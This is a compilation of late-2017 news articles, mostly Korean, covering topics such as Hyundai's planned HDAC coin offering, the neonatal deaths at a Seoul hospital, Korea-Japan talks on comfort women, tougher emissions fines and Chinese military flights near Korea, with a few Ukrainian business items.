"I do not quite agree with the statement that Nord Stream-2 is suspended ... The project is developing at full speed. They ordered pipes and plan to start construction in the near future," he said.

The head of Naftogaz stressed the implementation of this project would harm the energy security of European countries.
By Kim Yoo-chul



Hyundai BS&C is eyeing the cryptocurrency business as its IT solutions division plans to sell its own digital tokens next year, sources familiar with the issue said, Monday.



Hyundai Pay, the internet of things (IoT) business set up by Hyundai BS&C CEO Chung Dae-sun, plans to establish a joint initial coin offering (ICO) with its in-house HDAC cryptocurrency technology to issue HDAC digital tokens, according to the sources.



"An open beta service, trial test of the HDAC trading is set to begin Jan. 15 next year at the earliest," said a source from the local financial industry, adding Hyundai BS&C, creator of the HDAC tokens, is aiming to involve up to 3,000 participants in the preliminary test. Korea Digital Exchange will conduct the trial test.



Hyundai Group, its parent company, has become the second Korean conglomerate to confirm its plans to jump into the booming cryptocurrency business after Samsung SDS, an IT solutions unit of Samsung Group, began developing its pilot project that will run within the blockchain frame for non-commercial sectors.



HDAC technology was founded by Chung Dae-sun, the grandson of Hyundai Founder Chung Ju-yung. The plan is to raise as many as 6,000 bitcoins, which is equivalent to 100.8 billion won, if the campaign is successful. One bitcoin was valued at 18 million won as of last week, according to coinhill, a bitcoin price tracker.



An official at the exchange said HDAC tokens would be exchangeable with other types of digital tokens such as bitcoin. "What's interesting is that HDAC tokens are cryptocurrencies under the brand of the Korean company," the official said.



Hyundai's move comes a few months after the country's financial regulator prohibited local companies and startups from raising funds through ICOs, as token offerings, which is considered one of the ideal fundraising methods for startups due to the small amount of paperwork, are overly speculative and constitute a "violation of the capital market law," according to the Financial Services Commission.



While Korea is the world's third-biggest market behind Japan and the United States for purchasing and selling bitcoin, the most popular type of cryptocurrency, the number of Korea-developed cryptocurrencies is known to be five, according to data from cryptocurrency operators.



But it is uncertain whether the HDAC tokens will be included in the listings of cryptocurrency exchanges. No further details are available regarding when the HDAC tokens will be sold for public trading.



Hyundai plans to use the funds raised from the campaign to address major security issues associated with IoT devices, and apply the technology to hardware payment applications amid the world of connectivity.



It said its digital tokens are more about its own blockchain which is more IoT-friendly, adding such a feature separates it from Ethereum and bitcoin protocols.



"The Korean government is in the process of understanding the complex nature of the cryptocurrency market. The market will have high volatility in its early stages with steep ups and downs but it will go in the right direction after experiencing a trial period," said Kim Yong-ho, head of the digital exchange.


By Kim Yoo-chul





The Industrial Bank of Korea (IBK) is in talks with two banks in Indonesia aiming to purchase major stakes in them by March.







The acquisition, if successful, will be the first overseas mergers and acquisitions (M&A) deal of the Seoul-based lender, officials said Tuesday.







"After due diligence and an approval from IBK's stakeholders, the bank plans to complete the acquisitions by March at the earliest. As there are some differences in the valuation by the two parties, the final results depend on the talks," said a source in the banking industry here.







Under Indonesian regulations, foreign financial institutes cannot buy more than a 40 percent stake in one Indonesian bank. They have to approach at least two banks after gaining approval from the government there.







To improve the financial soundness of Indonesian banks, Jakarta has continued to reduce their numbers as well as preventing foreign lenders from establishing new offices.







The deal is subject to approval from Indonesian financial regulators. Korea's Ministry of Strategy and Finance holds a 51.8 percent stake in the IBK and the rest is owned by two state-run banks _ the Korea Development Bank (KDB) and the Export-Import Bank of Korea.





IBK said the acquisitions are part of its long-term business expansion plan to become a bigger player in Asia by cutting its heavy reliance on the domestic market.


SPECIAL REPORT'I was falsely accused of theft': foreign entertainer recalls painful memories of bullying by Korean agency
By Jun Ji-hye



Egyptian telecommunications giant Orascom stopped its service in North Korea early last month and is preparing for a full withdrawal from the country, according to media reports, Tuesday.



Local news agency Newsis quoted Japanese intelligence officials and industry sources as saying Orascom has decided to pull its network out of the North completely amid mounting pressure from the United States and the U.N. Security Council (UNSC).



The move comes as the international community works to impose harsher sanctions on the regime in Pyongyang in response to its repeated launches of ballistic missiles. In the latest in a series of military provocations, the North fired a Hwasong-15 intercontinental ballistic missile, Nov. 29, claiming it is capable of carrying a larger and more powerful nuclear warhead that can strike anywhere in the U.S. mainland.



The media report noted the Egyptian company has yet to officially announce its decision to withdraw from the North, as some procedures need more time to be handled smoothly.



In 2008, Orascom, in collaboration with Pyongyang, established Koryolink, the North's only 3G mobile phone network. The number of customers has reportedly reached 3.5 million. The Egyptian company holds a 75 percent stake, while the North has a 25 percent stake.



The business deal, authorized by Egyptian billionaire Naguib Sawiris, was part of Cairo's willingness to invest in the reclusive state, highlighting bilateral economic links.



The withdrawal is expected to deal a considerable blow to the North, given that Koryolink has been the largest telecommunication operator there.



The Egyptian telecom firm had previously indicated its willingness to continue its business in the North within the limits of U.N. sanctions, but is seen as giving up amid international pressure.



In September, Sawiris said during his interview with CNBC that his investments in the North were about $250 million, but claimed he stays out of politics there.



"I believe I've extended a good service to the innocent people of North Korea who are deprived from seeing their parents who live miles away or can't call their children when they come back from school," he was quoted as saying. "They're allowed to have the simplest services that everybody in the West has. It has nothing to do with politics."






By Bahk Eun-ji







North Korea may have executed the officer in charge of nuclear facility construction over a delay in a weapons test and the collapse of a tunnel in Punggye-ri, Hampyung Province, Asahi Shimbun reported Tuesday.







The Japanese daily quoted an unnamed source as saying the sixth nuclear test was originally scheduled for the spring, but was postponed to September due to the tunnel construction delay.







The executed officer was head of North Korea's 131 Training Unit Guidance Bureau (TUGB), which is responsible for building major military facilities such as the tunnel in Punggye-ri and the missile launch site in Dongchang-ri.







Asahi reported that Hwang Byong-seo, North Korea's former director-general of the General Political Bureau, may also have been executed. Hwang was recently demoted.







He would be the highest ranking official to be executed after Kim Jong-un had his uncle Jang Seong-taek killed in 2013.


Investigators search Ewha Womans University Medical Center in western Seoul, Tuesday. / Yonhap



By Jung Min-ho



Police searched Ewha Womans University Medical Center in western Seoul Tuesday following the deaths of four premature babies in its neonatal intensive care unit last week.



Thirteen police officers and officials from the Korea Centers for Disease Control and Prevention (KCDC) searched the hospital's neonatal intensive care unit (ICU) and computer center, confiscating medical devices and records.



Investigators took incubators, drug-administering devices and prescription histories for examination because of suspicions that the hospital violated basic rules when treating the babies.



The National Forensic Service (NFS) will examine the devices to determine as part of its efforts to find the cause of their deaths and what made them sick in the first place. Results are expected in about one month.



The babies died Sunday within a two-hour period due to an unknown cause.



More than 10 hospital officials, including two doctors and five nurses on duty that day, will be summoned for questioning soon. "We will question everyone who was at the scene at the time," a police officer said.



On Monday, the KCDC said it conducted blood tests and found Citrobacter freundii in the bodies of three of the babies. This is a gram-negative type of bacteria which is commonly found in healthy human intestines but can often cause respiratory, blood-related or urinary problems in immune-compromised patients, such as premature babies.



The KCDC also said the overuse of antibiotics may be a contributing factor to their deaths, given that the bacteria are suspected of being antibiotic-resistant.



The center is now carrying out additional tests to verify its suspicions.



Some parents of the babies accused the hospital of paying little attention to sanitary control in the facility.



Some claimed that they saw bugs, including a cockroach, in the ICU. Others said baby bottles and pacifiers were not properly cleaned before use.



At the time of the incident, there were 16 babies in the ICU. The rest of the babies have been transferred to another hospital following the deaths. They have not shown any noticeable symptoms.



The bereaved families said the infants all had bloated bellies and difficulty in breathing before they died.



Experts have mentioned bacterial infection and failure of medical devices as possible causes of the deaths.



The NFS has carried out postmortem examinations, but released a statement saying that it needed more time to conduct a detailed analysis to determine the cause of the deaths, adding its preliminary assessment was unclear.






The Cabinet of Ministers of Ukraine has decided to withdraw 13 state agencies from the effect of a moratorium on business checks.

"We propose removing 13 bodies from the effect of the moratorium, in particular, the veterinary control bodies of the State Service for Food Safety and Consumer Protection and the State Nuclear Regulation Inspectorate of Ukraine. Individual standards will also be introduced in the moratorium, and compliance with them will allow a body to get out of the effect of the moratorium, or vice versa," First Deputy Minister of Economic Development and Trade Maksym Nefyodov said at a government meeting on Monday, December 18.

He noted that "now the government decides which body is ready to go out for checks, and the State Regulatory Service here is the main counteragent of each inspectorate as to whether it is ready to checks under new regulations."
Foreign ministers fail to narrow difference during their talks



By Yi Whan-woo



The top diplomats of Korea and Japan remained poles apart during their talks in Tokyo, Tuesday, regarding the controversial agreement reached between the two sides in 2015 over "comfort women."



Foreign Minister Kang Kyung-wha sought Japan's understanding about an ongoing investigation by a Korean fact-finding team into the 2015 deal over Japan's imperial-era mobilization of Korean women as sex slaves.



She also expressed hope for improved relations between the two countries irrespective of the outcome of the probe.



But before the talks, Kono emphasized that the 2015 agreement was "final and irreversible" and that it should be carried out in a faithful manner.



Kono said the agreement will not necessarily cause problems, although it complicated the row over the former Korean sex slaves.



The accord was intended to resolve the dispute over sex slaves in a "final and irreversible" manner.



It instead complicated the historical row, as it was criticized in Seoul as a "hasty deal," while Japan has been insisting on Korea's responsibility to implement it.



The two foreign ministers agreed to continue talks over comfort women.



Among other historical issues they discussed included Japan's responsibility to correctly address the forced labor of Koreans on Hashima Island off the coast of Nagasaki during Japan's 1910-45 occupation of the Korean Peninsula.



The United Nations Educational, Scientific and Cultural Organization (UNESCO) recommended setting up an information center to explain the position of the Korean slave workers as a condition of granting World Heritage status to the island among 23 Meiji Industrial Revolution sites in 2015.



Japan virtually snubbed UNESCO by recently planning to build the information center 1,000 kilometers from the island.



Kang called for Japan's compliance with UNESCO.



Meanwhile, Kang and Kono shared their thoughts on bilateral cooperation on North Korea's nuclear threats, the economy, and South Korea's two-track strategy of dealing separately with Japan on history-related issues and economic and security matters.



Regarding North Korea, the two foreign ministers agreed to bolster sanctions and pressure in order to bring the reclusive state to the negotiating table.



They also promised to work closely to help resume a three-way summit involving China next year in Tokyo. The joint summit was last held here in 2015.



Kang later met with Japanese Prime Minister Shinzo Abe and conveyed President Moon Jae-in's invitation for him to attend the PyeongChang Winter Olympics in February.



Abe was rumored to not be coming to the Winter Games, if Korea and Japan failed to resolve the conflict over the sex slavery agreement.



Kang said the two countries were able to "change the course of their relations to the positive direction" after Moon took office in May.



Abe said Korea and Japan are "the most important neighbors that share strategic interests" and that it is critical to promote a "future-oriented" relationship.



He underscored a need for three-way cooperation with the United States for regional peace and stability.



Kang arrived in Tokyo, Tuesday, for a two-day trip. This is her first visit to Japan as foreign minister.



Kang's trip to Japan took place amid concerns over little progress being made by the Moon administration in mending ties with Tokyo, especially after it restored Seoul-Beijing relations frayed by the deployment of a U.S. Terminal High Altitude Area Defense battery here.



Given this climate, Seoul's fact-finding team into the sex slavery deal is taking a prudent approach in its investigation in what is seen as a bid not to provoke Japan.



It will announce its conclusion Dec. 27. The announcement will not contain opinions from the surviving victims of sex slavery on whether the accord should be revised," according to an official on the team.



The Moon administration will refer to the taskforce's findings to finalize whether to retain, modify or scrap the agreement.



"The taskforce judged that it is going beyond its duty to mention what to do with the sex slavery agreement in the future," the official said on condition of anonymity.



The assessment will deal with how the words "final and irreversible" were contained in the agreement, whether the Park administration collected opinions of the victims sufficiently and who first proposed Japan's payment of 1 billion yen ($8.8 million) to Korea in its apology over sex crimes.




By Jun Ji-hye



The Ministry of Patriots and Veterans Affairs said Tuesday that it formally requested the prosecution to investigate former Minister Park Sung-choon over alleged illegal or inappropriate activities committed under his leadership.





Park Sung-choon
Kandil Sami Mohamed, third from right on the stage, from Egypt shares his experience on tourism services provided by seven new companies that were selected by the Seoul city government as this year's potential startups during a showcase event in Seoul, Tuesday. / Courtesy of Seoul Metropolitan Government







By Kim Se-jeong



Seoul Metropolitan Government's seven picks for this year's tourism startup companies gathered in downtown Seoul, Tuesday, to present their business models to the public.



This is an annual event and the city government has been selecting companies to support for years now.



Flitto, a language-service provider to tourists, translates 725 tourism-related road signs into 10 languages  English, Chinese, Japanese, Indonesian, Thai, Malay, Vietnamese, Russian, French and Spanish.



Frientrip is a mobile-based trip platform that helps foreign tourists get authentic local experiences during their stay. The company has also developed 10 tour programs travelers can experience.



Alleys Wanderlab provides virtual walking tours in Seoul, offering travelers with little time a chance to get a glimpse of the city.



Seoul Gastro Tour offers a variety of gastronomy tours near Seoullo 7017 in the capital's downtown area. YallaKOREA is a tour company catering specifically for Muslim travelers.



Music King offers travelers a chance to create their own K-Pop music videos during their stay in Seoul. Mango Plate is a mobile restaurant guide for Chinese visitors.



"We hope these companies will thrive, as they will help Seoul's tourism industry," a city official said. "The city will continue support for these companies."



The city selects startups every year and offers financial and administrative support.



The presentation was well received and peppered with a lineup of high-profile guests.



The city invited a panel of three well-known foreign residents: Kandil Sami Mohamed from Egypt and Wang Xinlin from China, who appear on JTBC's "Non Summit," a talk show, and Ashminov Mihal Spasov, a star chef from Bulgaria who has his own restaurant.



The city had the three try all the services provided by the seven companies and had them share their experiences and feedback in Korean. The session also had a star announcer, Shin A-young.



More tourists visit Seoul from a diverse range of countries. That creates business opportunities for tech-savvy young entrepreneurs and those with business experience. The city is offering support to get them on their feet quickly so they can provide quality services to tourists and create jobs.




By Choi Ha-young







The Supreme Court will deliver its verdict on a bribery case involving main opposition Liberty Korea Party (LKP) Chairman Hong Joon-pyo, Friday.







Hong has been on trial for allegedly taking 100 million won ($92,000) from a late businessman and politician Sung Wan-jong. The allegation has been the conservative leader's sticking point.







In the first hearing last year, Hong, then South Gyeongsang Province governor was found guilty and sentenced to 18 months in prison. However, the appeals court overturned the decision, which paved his way for the presidential election in May. There, he gained 24.03 percent of votes and handily clinched the LKP leadership.







The final ruling will be an inflection point for Hong, who is getting into his stride to expel those who are associated with ex-President Park Geun-hye. If he is acquitted, Hong's moves are likely to gain momentum in consolidating his followers in the LKP, in place of pro-Park faction.







On Sunday, the LKP conducted a personnel reshuffle in an apparent bid to strengthen Hong's leadership, which drew enormous flak from pro-Park politicians. The role of new floor leader Kim Sung-tae, a pro-Hong figure, could be a springboard for Hong.







If the Supreme Court gives Hong the guilty verdict, Hong's political ambition is likely to end in failure. In this case, the LKP, which is eyeing its revival under Hong's leadership out of ex-President's shade, will face more political turmoil amid the absence of leadership.







According to recent polls, the LKP's popularity rate hovers below 20 percent, despite is harsh anti-Moon drives on the government's diplomacy and national security policies.


Rep. Park Hong-geun of the ruling Democratic Party of Korea, left, interrupts as Liberty Korea Party floor leader Rep. Kim Sung-tae speaks about suspicions surrounding presidential chief of staff Im Jong-seok's recent visit to the United Arab Emirates (UAE) during a meeting of the National Assembly House Steering Committee, Tuesday. / Yonhap



By Choi Ha-young



Opposition parties are criticizing over a senior presidential aide's recent visit to the United Arab Emirates (UAE).



The largest opposition Liberty Korea Party (LKP) demanded the National Assembly House Steering Committee receive a briefing on the visit by Im Jong-seok, President Moon Jae-in's chief of staff, from Dec. 9 to 12. The LKP believes Im's visit was to quell a diplomatic row with the UAE, while Cheong Wa Dae said he was dispatched to encourage Korean soldiers in the Middle East region.



Media reports are fuelling suspicions around Im's visit. In 2009, under former President Lee Myung-bak, the Korea Electric Power Corporation (KEPCO) won a nuclear power plant construction deal in the UAE and Lee took part in the Barakah Nuclear Power Plant's ground-breaking ceremony in 2011.



Rumors are rampant that the UAE government is furious about President Moon's nuclear phase-out policy, which may cause problems with the project. Previously, Im's visit was rumored to be for a secret meeting with North Korean delegates.



"There is also a rumor that the UAE even mentioned the severance of diplomatic relations, and Im was sent as a special envoy to resolve the issue," LKP floor leader Kim Sung-tae said during a committee meeting. "The Moon government has caused a diplomatic stir, being immersed in political retaliation against its conservative predecessors."



The conservatives have blasted Moon's energy shift from nuclear to renewable, calling it a "populist drive." They view it as that the liberal government abandoning national interest by undermining the project worth of 20 trillion won ($18.4 billion).



The minor liberal People's Party added to the criticism of the administration. "Defense Minister Song Young-moo paid a visit to the Korean troops there, only a month before Im's visit. The opposition parties' suspicions are on point," Rep. Kwon Eun-hee of the People's Party said.



Im, the central figure of the "scandal," did not appear before at the committee saying he was on his annual holiday. "Attending the committee is a chance to clarify the truth. Im seems to be having cold feet," Rep. Chang Je-won of the LKP said.



The opposition lawmakers grilled the ruling camp to identify who accompanied Im. "Why did a deputy chief of the spy agency, Suh Dong-gu, join Im's trip, if the trip really was aimed to encourage soldiers?" Rep. Kim demanded. "Suh was an advisor to KEPCO during Lee administration, when it was pushing for the export deal."



According to UAE media outlets, Im met Khaldoon Khalifa Al Mubarak, chairman of the Emirates Nuclear Energy Corporation. "He is in charge of the power plant construction," Kim said. "The presidential office should stop beating around the bush. Come forth and reveal who Im met there and what was the exact purpose of the special envoy."



The committee was postponed for 30 minutes in protest from the DPK lawmaker Park Hong-geun who was shouting in front of the committee members regarding the procedural legitimacy of the committee. "How can the Assembly call the committee based on a groundless rumor?" Park roared.



"This is such a political offensive. The committee is invalid, since the DPK refused to agree with the meeting agenda."



This is not the first time that the conservatives took issue with Im, student activist-turned-politician. In the parliamentary audit last month, LKP lawmakers grilled the chief of staff's alleged "pro-North Korea" ideology. Regarding the question, Im responded he is "insulted" saying he betted his life to fight for democracy.


By Kim Se-jeong



The government will impose heavier fines on carmakers that manipulate vehicle emissions data to more easily obtain sales certificates, the environment ministry said Tuesday.



The move comes after BMW, Volkswagen, Audi and other imported brands were found to have forged emissions documents over the past few years to get certificates from the government.



The tightened measures will go into effect on Dec. 28.



According to the Ministry of Environment, a revised version of the Clean Conservation Act was approved on Tuesday, holding automobile companies accountable for illegal activities.



Under the revised law, the fine for companies that fail to obtain vehicle emissions certificates or forge the documents will be 5 percent of the entire sales of the troubled vehicle model, up from 3 percent.



The new regulations will also allow authorities to impose a 50 billion won ($46 million) one-time fine on each model for false emission details. Previously it was 10 billion won.



The tougher regulations follow criticism that previous penalties were not enough to make automakers change their behavior.



"The tightened regulations are expected to better protect consumers from companies that are tempted to cross the line to make more profits," the ministry said.



The changes come after the Volkswagen emissions scandal in 2015 that rattled the vehicle industry around the world.



The German automobile giant was found to have intentionally programmed emissions controls to pass lab emission testing in the U.S. About 11 million vehicles with fake emissions test certificates were sold around the world  with 500,000 in the U.S.  between 2009 and 2015.



The revised law also contains measures for vehicle replacement, a full refund or purchasing the vehicle back if emissions devices cannot be repaired. Consumers can take advantage of this as long as the guarantee period for the devices has not expired.



The Volkswagen scandal in the U.S. prompted Korea's environment ministry to run an inspection that found emissions defeat devices in 83,000 cars. The ministry fined the company 14 billion won and ordered a recall of more than 120,000 vehicles. The ministry also sought a criminal charge against Johannes Thammer, the managing director of Audi Volkswagen Korea. Thammer, who returned to Germany, is facing five years in prison and a 30 million won fine.



In January 2016, Audi Volkswagen Korea submitted a recall plan but the ministry rejected it. After a couple of additional rejections, the ministry finally approved the plan for 82,290 vehicles in August this year. Audi Volkswagen consumers separately sued the company for compensation.



Last month, Mercedes-Benz Korea and BMW Korea were also found to have faked emissions documents and were fined 7 billion won.




Kang's visit reaffirms resolve for future-oriented relations







Foreign Minister Kang Kyung-wha made her first visit to Japan since taking office in June, Tuesday. This is the first time for a Korean foreign minister to visit Japan since her predecessor Yun Byung-se did so in August 2016.



Kang's visit reflects President Moon Jae-in's resolve to improve bilateral relations that were strained during the previous Park Geun-hye administration. The two countries have had different positions on the 2015 Korea-Japan deal about the issue of the so-called comfort women reached between Park and Japanese Prime Minister Shinzo Abe.



President Moon has pledged to re-examine the deal and the Ministry of Foreign Affairs launched a task force to investigate the accord, which Japan claims is a "final and irreversible" agreement on compensating victims of sexual slavery by Japanese troops before and during World War II. Many Koreans and the victims, however, have been strongly opposed to the deal. Based on the agreement, Tokyo provided 1 billion yen ($8.7 million) for a foundation to help the victims. The victims and civic groups have claimed it was not enough in acknowledging government responsibility for the sexual slavery. Japan has urged Korea to deliver on its side of the deal.



One of the biggest reasons for the victims' protest of the accord was that their positions were excluded. Unlike her predecessor, Kang has shown keen attention to listening to the victims. During her confirmation hearing at the National Assembly, she wore a badge offered to her during a previous visit with the surviving comfort women. In October, she visited a facility for the victims and explained to them about the activities of the task force.



The ministry is expected to announce the results of its investigation into the procedures leading to the 2015 deal, which marks its second anniversary on Dec. 28. During the presidential campaign, Moon had vowed to seek an agreement that could be accepted by the people. But a diplomatic deal should be respected regardless of the change of power. Japan cannot be blamed entirely for the deal because former President Park and the foreign ministry rushed the agreement without properly paying attention to public sentiment and did not proceed with the deal in a transparent manner.



It is in our national interest to maintain good relations with Japan as close cooperation with the country in dealing with North Korea's nuclear and missile development programs is vital. During her first visit to Japan, Kang should make it clear that Korea will keep up a two-track diplomacy with Japan by keeping historical issues separate from promoting economic and security cooperation.




U.S. President Donald Trump delivers remarks regarding the Administration's National Security Strategy at the Ronald Reagan Building and International Trade Center in Washington D.C., U.S. December 18, 2017. / REUTERS

By Tong Kim







WASHINGTON: Unveiling his first comprehensive 'National Security Strategy" on Monday, which included a brief discussion of the North Korean nuclear issue, President Donald Trump said, "It will be taken care of. We have no choice."







He did not mention military options or signal a departure from the administration's current pressure campaign against the North Korean regime through economic sanctions and diplomatic isolation. Neither did he explain any specific steps of how the North Korean threat would be resolved. On fighting ISIS, Trump claimed that his strategy of not revealing a plan to the enemy has made big strides.







However, he said he is committed to "achieve the denuclearization of North Korea," although "there is more to do." Mr. Trump pointed out, "North Korea  a country that starves its own people  has spent hundreds of millions of dollars on nuclear, chemical, and biological weapons that could threaten our homeland."







He vowed that the U.S would not allow North Korea to threaten the U.S and the world with its weapons of mass destruction.







Discussing global security issues, President Trump defined four areas of responsibility for "an America first national strategy":







Firstly "to protect the American people, the homeland, and the American way of life"







Secondly "to promote American prosperity, rejuvenate the American economy for the benefit of American workers and companies, and insist upon fair and reciprocal economic relationships to address trade imbalances"







Thirdly "to preserve peace through strength by rebuilding our military so that it remains preeminent, deters our adversaries, and if necessary, is able to fight and win, and to compete with all tools of national power to ensure that regions of the world are not dominated by one power"







And fourthly "to advance American influence because a world that supports American interests and reflects our values makes America more secure and prosperous, and to compete and lead in multilateral organizations so that American interests and principles are protected."







In the National Security Strategy, President Trump described China and Russia as "revisionist powers that use technology, propaganda, and coercion to shape a world antithetical to our interests and values."







China and Russia challenge American power, in?uence, and interests, attempting to erode American security and prosperity," said Trump. "They are determined to make economies less free and less fair, to grow their militaries, and to control information and data to repress their societies and expand their influence."







However, the American president also added,







"Competition does not always mean hostility, nor does it inevitably lead to conflict  although none should doubt our commitment to defend our interests. An America that successfully competes is the best way to prevent con?ict."


An Ediya Coffee store in Seoul. / Courtesy of Ediya Coffee



Domestic coffee franchises seek listing on Seoul bourse



By Park Jae-hyuk



Ediya Coffee and A Twosome Place are positioning themselves to become the only coffee shop chain next to Starbucks Coffee, which has dominated the Korean market.



The two local coffee franchises are pushing ahead with initial public offerings (IPO) to raise funds for their expansions in domestic and global markets.



According to industry officials, Ediya hired Mirae Asset Daewoo last week as an adviser for its KOSPI listing. The coffee shop chain reportedly aims to be listed on the benchmark bourse by the end of next year.



If so, Ediya will be the nation's first listed coffee shop franchise. While several franchisers, such as MP Group, Haimarrow Food Service and Didim, are listed on the stock market, there have been no coffee franchises. Caffe Bene has sought an IPO for years, but has failed to follow through.



The investments in Ediya will likely be used for building a roasting factory and expansion in overseas markets. The company bought 12,983 square meters of land for 6.4 billion won ($5.8 million) in Pyeongtaek, Gyeonggi Province. Also, Chairman Moon Chang-ki has hoped to expand Ediya's presence to other countries.



In Korea, Ediya ranks third in terms of sales and first in terms of the number of stores. With its 2,200 stores nationwide, the company posted 150 billion won in sales, following Starbucks with over 1 trillion won and Twosome with 200 billion won.



Ediya is seeking to catch up with Twosome, by achieving the goal of 1 trillion won annual sales, as it overtook The Coffee Bean & Tea Leaf and Angel-in-us Coffee.





A Twosome Place coffee shop in Seoul. / Courtesy of CJ Foodville
Asian Citizen's Center for Environment and Health Secretary General Choi Ye-yong, right, speaks during a press conference at the civic group's office in Seoul, Tuesday, following the Fair Trade Commission's announcement to resume investigations on local humidifier sterilizer manufacturers. / Yonhap



By Park Jae-hyuk

Victims of toxic humidifier sterilizers have been dissatisfied with Fair Trade Commission (FTC) Chairman Kim Sang-jo's apology Tuesday over the antitrust watchdog's insufficient investigation last year into two local manufacturers, SK Chemical and Aekyung Industrial.



Earlier that day, Prof. Kwon Oh-seung at the Seoul National University, who has led a task force to reexamine the case, announced some procedural loopholes were found in the previous inspection of the companies' failure to inform consumers of possible health risks.



Following the task force's announcement, the FTC said it has decided to reopen its probe into local humidifier sterilizer firms, and will consider asking prosecutors to investigate the firms.



The FTC closed an inspection of the two firms last year, citing a lack of evidence, despite growing criticism against toxic disinfectant producers that caused numerous deaths and illnesses in Korea.



Aekyung and SK Chemical allegedly produced and sold the products using chloro-methylisothiazolinone (CMIT) and methylisothiazolinone (MIT) between 2002 and 2011. The FTC once accused the firms of not indicating the health risks of such chemicals, but it closed the case last year, saying they were not required to warn of the possible risks and due to a lack of evidence during the period.





Fair Trade Commission Chairman Kim Sang-jo apologizes for the anti-trust watchdog's insufficient investigation over humidifier sterilizer accidents, which caused more than 1,200 deaths, during a press conference in the commission's office in Seoul, Tuesday. / Yonhap
PJSC ArcelorMittal Kryvyi Rih (Dnipropetrovsk region) is experiencing significant difficulties in transporting 5 million tonnes of steel products from the enterprise to the Black Sea ports of Ukraine and delivering 2.5-3 million tonnes of iron ore concentrate to consumers in Eastern Europe, company CEO Paramjit Kahlon has stated.

"One of the biggest problems at the moment is logistics," the top manager stated at a conference with suppliers in Kyiv.

According to him, the reason for this situation is a shortage of wagons of Ukrzaliznytsia, as well as private companies.

At the same time, he noted that 3,000 wagons with locomotives are required to ship 5 million tonnes of steel products to the Black Sea ports  Mykolaiv and Yuzhny, as well as iron ore deliveries to Europe.

"We invite logistics companies to cooperate," the top manager said, without specifying whether ArcelorMittal Kryvyi Rih plans to create its own logistics division at the enterprise.

ArcelorMittal owns the largest mining and metallurgical plant in Ukraine, ArcelorMittal Kryvy Rih, and a number of small companies, in particular, PJSC ArcelorMittal Berislav.
Visitors crowd the Line Friends store in Broadway, New York, where BTS-themed merchandise was released on Dec. 19. / Courtesy of Facebook



By Ko Dong-hwan





BTS / Korea Times file

A Seoul shop has launched character merchandise for seven-member K-pop boy band BTS.



The Boon the Shop store in Cheongdam-dong, Gangnam-gu, Seoul, released "BT21," an array of dolls, clothing, cushions, postcards and other character products Tuesday, according to an official at Naver's Line Friends.



Line Friends, which designed online animated characters for mobile messenger Line, has been developing the merchandise with the multi-brand boutique and band members for the past year.





The BT21 characters at the Boon the Shop store in Cheongdam-dong, Gangnam-gu, Seoul. / Courtesy of Facebook
By Ko Dong-hwan





South Korea's ramen exports surged past $340 million this year, thanks to product variety and outstanding popularity in China and the United States.







As of November, exports recorded over $346 million, according to the Ministry of Agriculture, Food and Rural Affairs and the Korea Agro-Fisheries and Food Trade Corp on Tuesday. The figure beat last year's $290 million.







The top-five importers of South Korean ramen were China, which accounted for 26 percent of the trade, the United States (12 percent), Japan (7 percent), Taiwan (6 percent) and Australia (5 percent). In the U.S., the noodles are not only on the shelves of Korean food marts but also carried by major American retailers like Walmart.







The export spike is in line with a diversification of South Korean ramen products. Among the new arrivals to stimulate taste buds were Chinese-style ramen products that are closer to jjambbong (spicy seafood noodle) and jjajangmyeon (black bean sauce noodle), popular on menus in Chinese restaurants in South Korea. A Korean-style ramen that mimicked popular hot stews like budae jjigae, literally meaning "army base stew," also sparked consumer interest.







South Korea's domestic ramen market was worth 2.16 trillion won ($20 billion) last year. A big increase in single-person households  who prefer cup ramen to the square-packed variety because of convenience  has contributed to the market's strong growth.


The United States' B1-B Lancer, F-35A, F-35B and South Korea's F-16 and F-15K fly above South Korea in "Vigilant Ace" drill on Dec. 6. / Yonhap



By Kristine Huang





Seoul on Monday accused Beijing of infringing its air defence identification zone after China's air force conducted a long-range exercise into the Sea of Japan.

South Korea's Joint Chiefs of Staff said five Chinese military aircraft were detected entering its air defence identification zone from southwest of Ieo Island  known as Suyan Islet in China  about 10am on Monday and leaving at 2pm. Seoul described the move as an infringement and scrambled F-15K and KF-16 fighters to monitor the situation.

"Our fighter planes took normal tactical measures, identifying the models of the Chinese planes and flying aerial surveillance until they left," it said in a statement.

Shen Jinke, a spokesman for China's air force defended the move, however, saying Chinese H-6K bombers, Su-30 fighter jets and Yun-8 transport aircraft transited through the Tsushima Strait and entered the Sea of Japan as part of a routine operation.

"The drills were lawful and reasonable," he was quoted as saying in a statement released by China's defence ministry, adding that they were "not targeted at any specific country or region".

Monday's exercise in the Sea of Japan was in line with China's efforts to extend the scope of its capabilities, both in the air and at sea, as it seeks not only to protect its interests but also flex its growing military muscle, Beijing-based military expert Li Jie said.

"It's normal and routine now for China's military forces to enter international waters or airspace," he said.

"To project power and protect its overseas interests, Chinese forces have to go further and further."

Hong Kong-based military analyst Leung Kwok-leung said the exercise would also give Chinese pilots a better understanding of the routes to the Sea of Japan.

"By building up their knowledge, in a wartime or an emergency situation, they will be able to fly directly to the Sea of Japan from northeastern China," he said.

Ben Ho, a senior analyst with the Military Studies Programme at S. Rajaratnam School of International Studies at Nanyang Technological University, said that although Chinese warplanes passed through an area where China's and South Korea's air defence identification zones overlap, it was unlikely to have any negative impact on relations between the two countries.

"While the deployment may come as a surprise so soon after the Xi-Moon meeting, it should not significantly upset Sino-South Korean ties as the two nations have a greater common interest in countering the threat posed by Pyongyang's missile and nuclear programmes, as well as fostering already close economic relations," he said.

He was referring to the recent meeting between South Korean President Moon Jae-in and China's President Xi Jinping during the former's four-day visit to Beijing.

South Korea in late 2013 said it had expanded its air defence identification zone to Ieo Island  a submerged rock in waters off its southern coast. The move came in response to China demarcating its air defence identification zone in the East China Sea a month earlier.

Both nations have denied they are involved in a territorial dispute over the islet.

Air defence identification zones are early warning systems that help countries to detect incursions into their airspace. Any aircraft entering such an area is supposed to report its route and purpose to the "host" nation. However, the zones are classified as international airspace and pilots are not legally bound to make such a notification.

As well as China and South Korea, the United States, Canada, Russia, Vietnam and Taiwan all have air defence identification zones.
The Reform Support Team (RST) at the Ministry of Agrarian Policy and Food of Ukraine has proposed to exclude the possibility of issuing land plots for use on a permanent basis.

According to the relevant draft law prepared by the RST, individuals and legal entities that had the right to permanent use of land plots will be allowed to re-lease them for a period of 50 years or redeem them with a grace period of 30 years.

The document assumes that non-agricultural state and municipal enterprises will automatically receive the right of economic management for the sites that have been in constant use. At the same time, agricultural enterprises of state and municipal forms of ownership will be obliged to re-formalize the land that has been in constant use for leasing for 50 years.

